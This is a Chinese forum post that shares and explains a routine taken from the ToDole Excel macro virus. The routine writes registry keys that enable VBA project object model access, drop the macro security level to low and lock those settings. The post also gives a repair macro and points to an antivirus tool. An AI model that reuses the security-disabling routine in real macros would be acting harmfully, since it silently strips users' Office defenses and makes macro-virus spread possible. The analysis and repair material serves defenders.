|
本帖最后由 旭日升 于 2012-6-19 14:11 编辑
昨天从同事那里得到一个宏病毒ToDole,里面有一段代码是用于开启VBA工程对象的,觉得很不错,经过研究后,现拿出现分享一下。
- Function OpenDoor()
- Dim Fso, RK1 As String, RK2 As String, RK3 As String, RK4 As String
- Dim KValue1 As Variant, KValue2 As Variant
- Dim VS As String
- On Error Resume Next
- VS = Application.Version
- Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
- RK1 = "HKEY_CURRENT_USER\Software\Microsoft\Office" & VS & "\Excel\Security\AccessVBOM"
- RK2 = "HKEY_CURRENT_USER\Software\Microsoft\Office" & VS & "\Excel\Security\Level"
- RK3 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office" & VS & "\Excel\Security\AccessVBOM"
- RK4 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office" & VS & "\Excel\Security\Level"
- KValue1 = 1
- KValue2 = 1
- Call WReg(RK1, KValue1, "REG_DWORD")
- Call WReg(RK2, KValue2, "REG_DWORD")
- Call WReg(RK3, KValue1, "REG_DWORD")
- Call WReg(RK4, KValue2, "REG_DWORD")
- End Function
- '--------------------------------------------------------------------------------------------------------------------------------------------
- Sub WReg(strkey As String, Value As Variant, ValueType As String)
- Dim oWshell
- Set oWshell = CreateObject("WScript.Shell")
- If ValueType = "" Then
- oWshell.RegWrite strkey, Value
- Else
- oWshell.RegWrite strkey, Value, ValueType
- End If
- Set oWshell = Nothing
- End Sub
复制代码 这段代码使用了WINDOWS脚本文件对注册表进行修改,从这一点来看,病毒还是挺可怕的,你不知道他在注册表里面会干些什么。
在运行这段代码后,将开启“信任对VBA工程对象模型的访问”,且该选项将变成灰色。
在上面代码中:
1.“AccessVBOM”项的值为1代表开启,0表示关闭“信任对VBA工程对象模型的访问”
2.“Level”项的值1,2,3分别表示宏的安全级别为低、中、高。
3.而语句中“HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM ”和“HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\Level”添加过后会将相关的选项变成灰色,变为不可选。
解决变灰的问题,可以手动删除代码中涉及的键值或者运行代码:
- Sub VBA工程修复()
- On Error Resume Next
- With CreateObject("WSCRIPT.SHELL")
- .REGDELETE "HKLM\Software\Microsoft\Office" & Application.Version & "\Excel\Security"
- .REGWRITE "HKCU\Software\Microsoft\Office" & Application.Version & "\Excel\Security\AccessVBOM", 0, "REG_DWORD"
- .REGWRITE "HKCU\Software\Microsoft\Office" & Application.Version & "\Excel\Security\Level", 3, "REG_DWORD"
- End With
- End Sub
复制代码
另外,查杀宏病毒,可到金山毒霸论坛下载专用工具:
http://bbs.duba.net/thread-22450603-1-1.html?ver=pop
该工具在不断更新中。
|
评分
-
4
查看全部评分
-
|